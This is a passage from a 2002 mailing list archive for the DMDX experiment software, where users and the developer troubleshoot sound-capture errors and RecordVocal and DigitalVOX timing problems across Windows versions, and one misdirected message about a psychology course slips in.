not using RecordVocal under XP or 2K until I complete it's overhaul, just use DigitalVOX and forgo saving the vocalizations. It uses a method of operation that appears to have been overlooked by driver writers (that method being to just gather a single buffer of audio data), once overhauled that code will be removed -- not so much because I was having trouble with drivers under XP but because it had to go to allow variable length RecordVocal recordings. I'm able to get existing RecordVocal code to function on XP machines but finding the driver that doesn't fail is pretty tough and I imagine the situation is twice as bleak under w2k. Sometimes I have to use the latest, sometimes the earliest (as was the case with the Creative Labs AudioPCI card in a Dell machine). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Wisdom is knowing what to do with what you know. >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 7 02:41:21 2002 Received: from dire.bris.ac.uk (dire.bris.ac.uk [137.222.10.60]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA79eTMS031095 for ; Thu, 7 Nov 2002 02:40:33 -0700 Received: from eis.bris.ac.uk by dire.bris.ac.uk with SMTP-PRIV with ESMTP; Thu, 7 Nov 2002 09:36:28 +0000 Received: from bris.ac.uk (psy170.psy.bris.ac.uk [137.222.60.170]) by eis.bris.ac.uk (8.11.6/8.11.6) with ESMTP id gA79Z0106702 for ; Thu, 7 Nov 2002 09:35:00 GMT Message-ID: <3DCA33C4.5050102@bris.ac.uk> Date: Thu, 07 Nov 2002 09:35:00 +0000 From: Markus Damian MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: more on capture lock failed References: <5.1.0.14.2.20021023113233.00b13250@psy1.psych.arizona.edu> <5.1.0.14.2.20021106180834.00b128c0@psy1.psych.arizona.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Jonathan, I posted the original message on the capture lock failure. Just wanted to point out that I am using Win98, not XP or 2000. Following your suggestions, I have looked for updated drivers to the AC97 audio onboard chip, but to no avail. Same goes for the SoundBlaster PCI 128 card that I tried to replace the onboard audio with - the driver appears to be the latest one. With both sound devices, DMDX still occasionally either crashes without any error message, or returns the capture lock failure. Markus j.c.f. wrote: > At 05:05 PM 11/6/2002 -0600, you wrote: > >> Jonathan, >> >> I have just upgraded OS to Win2K and am running a project using >> Recordvocal >> and DigitalVox. I am getting the ""capture lock failed"" error that was >> reported by someone else recently. I am using a creative sound >> blaster 5.1 >> platinum card. As recommended, I updated the drivers to the latest >> available at the creative website. Problem still exists. Portion of >> code >> below. Any further suggestions? > > > I'd suggest not using RecordVocal under XP or 2K until I complete it's > overhaul, just use DigitalVOX and forgo saving the vocalizations. It > uses a method of operation that appears to have been overlooked by > driver writers (that method being to just gather a single buffer of > audio data), once overhauled that code will be removed -- not so much > because I was having trouble with drivers under XP but because it had to > go to allow variable length RecordVocal recordings. > > I'm able to get existing RecordVocal code to function on XP machines > but finding the driver that doesn't fail is pretty tough and I imagine > the situation is twice as bleak under w2k. Sometimes I have to use the > latest, sometimes the earliest (as was the case with the Creative Labs > AudioPCI card in a Dell machine). > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Wisdom is knowing what to do with what you know. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 7 09:03:43 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA7FjtMS031547 for ; Thu, 7 Nov 2002 08:45:55 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-11.dakotacom.arizona.edu [150.135.175.11]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gA7Fg2BO011881 for ; Thu, 7 Nov 2002 08:42:02 -0700 (MST) Message-Id: <5.1.0.14.2.20021107083117.00b128a0@psy1.psych.arizona.edu> Date: Thu, 07 Nov 2002 08:41:56 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: more on capture lock failed In-Reply-To: <3DCA33C4.5050102@bris.ac.uk> References: <5.1.0.14.2.20021023113233.00b13250@psy1.psych.arizona.edu> <5.1.0.14.2.20021106180834.00b128c0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:35 AM 11/7/2002 +0000, you wrote: >Jonathan, > >I posted the original message on the capture lock failure. Just wanted to >point out that I am using Win98, not XP or 2000. Following your >suggestions, I have looked for updated drivers to the AC97 audio onboard >chip, but to no avail. Same goes for the SoundBlaster PCI 128 card that I >tried to replace the onboard audio with - the driver appears to be the >latest one. With both sound devices, DMDX still occasionally either >crashes without any error message, or returns the capture lock failure. Hmm, you might want to try the latest 4in1 VIA update, if you've got a VIA chipset in your machine it could be the culprit. http://www.viaarena.com/?PageID=2 /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Wisdom is knowing what to do with what you know. >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 7 11:58:28 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA7Iv3MS031872 for ; Thu, 7 Nov 2002 11:57:03 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DCA982500006C81 for DMDX@psy1.psych.arizona.edu; Thu, 7 Nov 2002 11:53:10 -0700 Message-Id: <5.1.0.14.2.20021107115201.00b13278@psy1.psych.arizona.edu> Date: Thu, 07 Nov 2002 11:53:10 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: more on capture lock failed In-Reply-To: <5.1.0.14.2.20021107083117.00b128a0@psy1.psych.arizona.edu> References: <3DCA33C4.5050102@bris.ac.uk> <5.1.0.14.2.20021023113233.00b13250@psy1.psych.arizona.edu> <5.1.0.14.2.20021106180834.00b128c0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:41 AM 11/7/2002 -0700, you wrote: >At 09:35 AM 11/7/2002 +0000, you wrote: > >>Jonathan, >> >>I posted the original message on the capture lock failure. Just wanted to >>point out that I am using Win98, not XP or 2000. Following your >>suggestions, I have looked for updated drivers to the AC97 audio onboard >>chip, but to no avail. Same goes for the SoundBlaster PCI 128 card that I >>tried to replace the onboard audio with - the driver appears to be the >>latest one. With both sound devices, DMDX still occasionally either >>crashes without any error message, or returns the capture lock failure. > > > Hmm, you might want to try the latest 4in1 VIA update, if you've got a > VIA chipset in your machine it could be the culprit. You might also want to upgrade to winME, I notice my test bed has an AC97 in it and I don't recall ever updating it's drivers (beyond maybe the 4in1). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Everyone is born a king, and most people die in exile. >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 7 15:42:41 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA7MfsMS032104 for ; Thu, 7 Nov 2002 15:41:54 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DCA9825000115A3; Thu, 7 Nov 2002 15:38:01 -0700 Message-Id: <5.1.0.14.2.20021107152857.00b131e8@psy1.psych.arizona.edu> Date: Thu, 07 Nov 2002 15:38:00 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 3.0.0.09 Cc: chk@u.arizona.edu Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Given the increasing RecordVocal problems on an number of machines I've decided to release the overhauled DirectSoundCapture code. The new code can produce variable length recordings if a parameter to RecordVocal is provided that tells it how many milliseconds beyond the trigger to record otherwise it runs in legacy mode as it always did. The new code can also have recording aborted for a trial with abort key specified by . It also survives having something else generate a response but doesn't record beyond the response. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Everyone is born a king, and most people die in exile. >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 8 17:12:57 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA8NiKMS001062 for ; Fri, 8 Nov 2002 16:44:20 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DCBB3670001A36D for DMDX@psy1.psych.arizona.edu; Fri, 8 Nov 2002 16:40:23 -0700 Message-Id: <5.1.0.14.2.20021108163829.00b13278@psy1.psych.arizona.edu> Date: Fri, 08 Nov 2002 16:40:22 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] RecordVocal problems under XP Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Looks like there's a hole in the new RecordVocal code that only shows up under XP that slipped through my early testing. First trial will be recorded correctly but subsequent trials are only a few milliseconds long, I'm looking at it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The flow chart is a most thoroughly oversold piece of program documentation. - Frederick Brooks, Jr., The Mythical Man Month >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 8 17:55:19 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA90sxMS001200 for ; Fri, 8 Nov 2002 17:54:59 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DCBB3670001CB85 for DMDX@psy1.psych.arizona.edu; Fri, 8 Nov 2002 17:51:02 -0700 Message-Id: <5.1.0.14.2.20021108174330.00b132f8@psy1.psych.arizona.edu> Date: Fri, 08 Nov 2002 17:51:01 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: RecordVocal problems under XP In-Reply-To: <5.1.0.14.2.20021108163829.00b13278@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:40 PM 11/8/2002 -0700, you wrote: > Looks like there's a hole in the new RecordVocal code that only shows > up under XP that slipped through my early testing. First trial will be > recorded correctly but subsequent trials are only a few milliseconds > long, I'm looking at it. Well the parameter that I thought no one would have to change looks like it's going to have get set for all XP installations, at least until I release the next version with a different default or figure out how to deal with the XP signalling being so exceptionally lagged. The parameter is the second RecordVocal parameter that controls how much overrun in the recording buffer DMDX can handle, the default is currently 50 milliseconds, on two XP boxes here it has to be set at 500 or so otherwise the buffer overruns and DMDX only saves the overrun. It's pretty odd because the initiation of the buffer is certainly not similarly lagged, maybe it's just that it takes eons to turn off DirectSoundCapture buffers under XP. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The flow chart is a most thoroughly oversold piece of program documentation. - Frederick Brooks, Jr., The Mythical Man Month >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 8 23:03:54 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA963TMS001468 for ; Fri, 8 Nov 2002 23:03:29 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-11.dakotacom.arizona.edu [150.135.175.11]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gA95xWtp017163 for ; Fri, 8 Nov 2002 22:59:32 -0700 (MST) Message-Id: <5.1.0.14.2.20021108224546.00b128b8@psy1.psych.arizona.edu> Date: Fri, 08 Nov 2002 22:59:26 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: RecordVocal problems under XP In-Reply-To: <5.1.0.14.2.20021108174330.00b132f8@psy1.psych.arizona.edu> References: <5.1.0.14.2.20021108163829.00b13278@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:51 PM 11/8/2002 -0700, you wrote: > Well the parameter that I thought no one would have to change looks > like it's going to have get set for all XP installations, at least until > I release the next version with a different default or figure out how to > deal with the XP signalling being so exceptionally lagged. The parameter > is the second RecordVocal parameter that controls how much overrun in the > recording buffer DMDX can handle, the default is currently 50 > milliseconds, on two XP boxes here it has to be set at 500 or so > otherwise the buffer overruns and DMDX only saves the overrun. It's > pretty odd because the initiation of the buffer is certainly not > similarly lagged, maybe it's just that it takes eons to turn off > DirectSoundCapture buffers under XP. I should point out this is only a problem when the new RecordVocal code is used under XP in legacy mode where it just records for the full timeout value each trial -- the fix is . Use of the new variable length recording will only be affected if there is no vocalization and the buffer times out, for safety could be used if recording 100ms after the trigger is desired. I'll add code next week that detects buffer overruns and flags errors in the output and diagnostics -- pretty messy code which is why it didn't go in before this but clearly it's going to be needed. Thinking about it it occurs to me that XP taking so much time to stop the capturing may explain the wide spread instability that the old code caused, it used a mode of operation where the sampling had to stop so when it couldn't stop it blew holes in things. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Wisdom is knowing what to do with what you know. >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 12 08:12:05 2002 Received: from sirius.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [193.63.252.1]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gACErjMS005551 for ; Tue, 12 Nov 2002 07:53:49 -0700 Received: from [193.63.253.89] (helo=pc057.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 3.36 #2) id 18BcM2-0005CH-00 for dmdX@psy1.psych.arizona.edu; Tue, 12 Nov 2002 14:49:26 +0000 Message-Id: <5.1.0.14.2.20021112144808.033c47d8@pophost.mrc-cbu.cam.ac.uk> Date: Tue, 12 Nov 2002 14:49:25 +0000 To: dmdX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Dell Latitude laptops Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi. Anyone out there using DMDX with Dell Latitude laptops with Win2000? Encountered any problems? - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 12 14:28:01 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gACL5jMS006035 for ; Tue, 12 Nov 2002 14:05:49 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DD0F81E000160C7; Tue, 12 Nov 2002 14:01:37 -0700 Message-Id: <5.1.0.14.2.20021112134631.00b132f8@psy1.psych.arizona.edu> Date: Tue, 12 Nov 2002 14:01:36 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] 3.0.0.09 DigitalVOX under XP Cc: chk@u.arizona.edu Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Well there's definitely some bad mojo under XP with the DigitalVOX device in the 3.0.0.09 release, I should really have waited longer before releasing that. Looks like 9X/ME is fine but while things no longer break the machine under XP I'm seeing _wild_ variations in my automatic testing itemfile where the sound card's output is routed to the line input and a wave file is played with a beep a constant time after the clockon. Like 300ms of variability. If I turn RecordVocal on I can see extra data at the start so it's not DMDX doing it, it's coming from the capture device. My guess is the drivers don't like being turned on and off and either I have to figure out some way to coax the things into functioning properly like they do under 9X/ME or I have to figure out how to have the capture running indefinitely which makes a writing RecordVocal data out and the end of the trial problematic. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The flow chart is a most thoroughly oversold piece of program documentation. - Frederick Brooks, Jr., The Mythical Man Month >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 12 15:39:41 2002 Received: from smtp3.wiscmail.wisc.edu (blitzen.doit.wisc.edu [144.92.197.183]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gACMGQMS006161 for ; Tue, 12 Nov 2002 15:16:26 -0700 Received: from conversion-daemon.smtp3.doit.wisc.edu by smtp3.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12 2002)) id <0H5H00901GXHA7@smtp3.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Tue, 12 Nov 2002 16:12:15 -0600 (CST) Received: from wiscmail.wisc.edu (sneezy [144.92.197.154]) by smtp3.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12 2002)) with ESMTP id <0H5H00CZ6HN55E@smtp3.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Tue, 12 Nov 2002 16:11:29 -0600 (CST) Received: from [144.92.197.222] by mailst3.doit.wisc.edu (mshttpd); Tue, 12 Nov 2002 16:11:29 -0600 Date: Tue, 12 Nov 2002 16:11:29 -0600 From: JOHN J CURTIN Subject: [DMDX] Re: 3.0.0.09 DigitalVOX under XP To: DMDX@psy1.psych.arizona.edu Message-id: <7933a7412d.7412d7933a@wiscmail.wisc.edu> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Is the problem that you are observing with XP likely to exist for Win2000 as well? I ask b/c I just collected some data using the DigitalVOX and RecordVocal with the latest version of DMDX and the RTs were all over the place. John ----- Original Message ----- From: ""Jonathan C. Forster"" Date: Tuesday, November 12, 2002 3:01 pm Subject: [DMDX] 3.0.0.09 DigitalVOX under XP > > Well there's definitely some bad mojo under XP with the > DigitalVOX > device in the 3.0.0.09 release, I should really have waited longer > before > releasing that. Looks like 9X/ME is fine but while things no > longer break > the machine under XP I'm seeing _wild_ variations in my automatic > testing > itemfile where the sound card's output is routed to the line input > and a > wave file is played with a beep a constant time after the clockon. > Like > 300ms of variability. If I turn RecordVocal on I can see extra > data at the > start so it's not DMDX doing it, it's coming from the capture > device. My > guess is the drivers don't like being turned on and off and either > I have > to figure out some way to coax the things into functioning > properly like > they do under 9X/ME or I have to figure out how to have the > capture running > indefinitely which makes a writing RecordVocal data out and the > end of the > trial problematic. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The flow chart is a most thoroughly oversold piece of program > documentation. > - Frederick Brooks, Jr., The Mythical Man Month > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 12 18:38:09 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAD1bmMS006437 for ; Tue, 12 Nov 2002 18:37:48 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-63.dakotacom.arizona.edu [150.135.175.63]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gAD1XcaK008709 for ; Tue, 12 Nov 2002 18:33:38 -0700 (MST) Message-Id: <5.1.0.14.2.20021112183154.00b2d2f8@psy1.psych.arizona.edu> Date: Tue, 12 Nov 2002 18:33:33 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: 3.0.0.09 DigitalVOX under XP In-Reply-To: <7933a7412d.7412d7933a@wiscmail.wisc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:11 PM 11/12/2002 -0600, you wrote: >Is the problem that you are observing with XP likely to exist for Win2000 >as well? More than likely, there's not much difference between the two other than 2k's drivers are generally worse than XP's. > I ask b/c I just collected some data using the DigitalVOX and > RecordVocal with the latest version of DMDX and the RTs were all over the > place. Yeah. I'm working on it. A major overhaul of last weeks major overhaul. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Wisdom is knowing what to do with what you know. >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 13 06:07:15 2002 Received: from kronos.ling.uni-potsdam.de (kronos.ling.uni-potsdam.de [141.89.97.100]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gADCtCMS007178 for ; Wed, 13 Nov 2002 05:55:12 -0700 Received: from ling.uni-potsdam.de ([141.89.97.196]) by kronos.ling.uni-potsdam.de (Netscape Messaging Server 3.52) with ESMTP id AAA667D for ; Wed, 13 Nov 2002 13:50:06 +0100 Message-ID: <3DD24A90.6070601@ling.uni-potsdam.de> Date: Wed, 13 Nov 2002 13:50:24 +0100 From: ruben van de vijver MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] dmdx for win 95 References: <5.1.0.14.2.20021112183154.00b2d2f8@psy1.psych.arizona.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, I have downloaded dmdx 2905 for use on a win95 OS. Whenever I start timedx i get the message that the dll file dinput.dll is missing. I was wondering if this is maybe due to the fact that dmdx2905 isn't the version I should use with win 95? any suggestions? ruben van de vijver >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 13 07:10:24 2002 Received: from fed1mtao03.cox.net (fed1mtao03.cox.net [68.6.19.242]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gADE9rMS007284 for ; Wed, 13 Nov 2002 07:09:53 -0700 Received: from qwxt ([68.0.190.205]) by fed1mtao03.cox.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20021113140536.KBDA2201.fed1mtao03.cox.net@qwxt> for ; Wed, 13 Nov 2002 09:05:36 -0500 From: ""Matthew Finkbeiner"" To: Subject: [DMDX] RE: dmdx for win 95 Date: Wed, 13 Nov 2002 07:13:16 -0700 Message-ID: <000001c28b1e$cfd02680$cdbe0044@tc.ph.cox.net> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In-Reply-To: <3DD24A90.6070601@ling.uni-potsdam.de> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list If I remember right, that means you need to install DirectX http://www.microsoft.com/windows/directx/downloads/drx80a.asp > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu > [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of ruben > van de vijver > Sent: Wednesday, November 13, 2002 5:50 AM > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] dmdx for win 95 > > > Hi, > > I have downloaded dmdx 2905 for use on a win95 OS. Whenever I start > timedx i get the message that the dll file dinput.dll is > missing. I was > wondering if this is maybe due to the fact that dmdx2905 isn't the > version I should use with win 95? > > any suggestions? > > ruben van de vijver > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 13 09:03:36 2002 Received: from relay1.softcomca.com (relay1.softcomca.com [168.144.1.67]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gADG21MS007459 for ; Wed, 13 Nov 2002 09:02:01 -0700 Received: from M2W058.mail2web.com ([168.144.108.58]) by relay1.softcomca.com with Microsoft SMTPSVC(5.0.2195.5329); Wed, 13 Nov 2002 10:57:49 -0500 Message-ID: <89260-2200211313155749650@M2W058.mail2web.com> From: ""sekerina@postbox.csi.cuny.edu"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: dmdx for win 95 Date: Wed, 13 Nov 2002 10:57:49 -0500 MIME-Version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Kathy, I am glad you are considering taking my PSY 288 course. The textbook we are using is D. Reisberg (2000) ""Cognition: Exploring the Science of Mind"". The format of the course is a weekly 20-question multiple-choice test and a cumulative 50-question open-book final exam. I must warn though that it is not an easy course; the material is difficult and the work has to be done on a regular basis otherwise one can fall hopelessly behind. Sincerely, Irina Sekerina, Ph.D. Assistant Professor of Psychology Original Message: ----------------- From: ruben van de vijver ruben@ling.uni-potsdam.de Date: Wed, 13 Nov 2002 13:50:24 +0100 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] dmdx for win 95 Hi, I have downloaded dmdx 2905 for use on a win95 OS. Whenever I start timedx i get the message that the dll file dinput.dll is missing. I was wondering if this is maybe due to the fact that dmdx2905 isn't the version I should use with win 95? any suggestions? ruben van de vijver ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 13 16:56:13 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gADNsXMS008049 for ; Wed, 13 Nov 2002 16:54:33 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DD249BE0001FB0A for DMDX@psy1.psych.arizona.edu; Wed, 13 Nov 2002 16:50:20 -0700 Message-Id: <5.1.0.14.2.20021113164151.00b13328@psy1.psych.arizona.edu> Date: Wed, 13 Nov 2002 16:50:19 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] RecordVocal and DigitalVOX Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Just to keep people abreast of what's happening I've completed the second much more major overhaul of DirectSoundCapture code and while we now have properly functioning RecordVocal and DigitalVOX devices under XP I've exposed a gaping hole in the winME AC97 drivers...grr. So I guess I'll completely scrap any attempt to stop the buffers and just leave them running freely and stick a whole bunch of new code in to stop the RecordVocal data from getting overwritten. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The flow chart is a most thoroughly oversold piece of program documentation. - Frederick Brooks, Jr., The Mythical Man Month >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 14 09:53:13 2002 Received: from kronos.ling.uni-potsdam.de (kronos.ling.uni-potsdam.de [141.89.97.100]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAEGcnMS008893 for ; Thu, 14 Nov 2002 09:38:50 -0700 Received: from ling.uni-potsdam.de ([141.89.97.196]) by kronos.ling.uni-potsdam.de (Netscape Messaging Server 3.52) with ESMTP id AAA157B for ; Thu, 14 Nov 2002 17:33:39 +0100 Message-ID: <3DD3D07A.4030802@ling.uni-potsdam.de> Date: Thu, 14 Nov 2002 17:34:02 +0100 From: ruben van de vijver MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: write to o/p file References: <5.1.0.14.2.20021025204753.00b128a0@psy1.psych.arizona.edu> <5.1.0.14.2.20021026182628.00b12878@psy1.psych.arizona.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Reply-To: 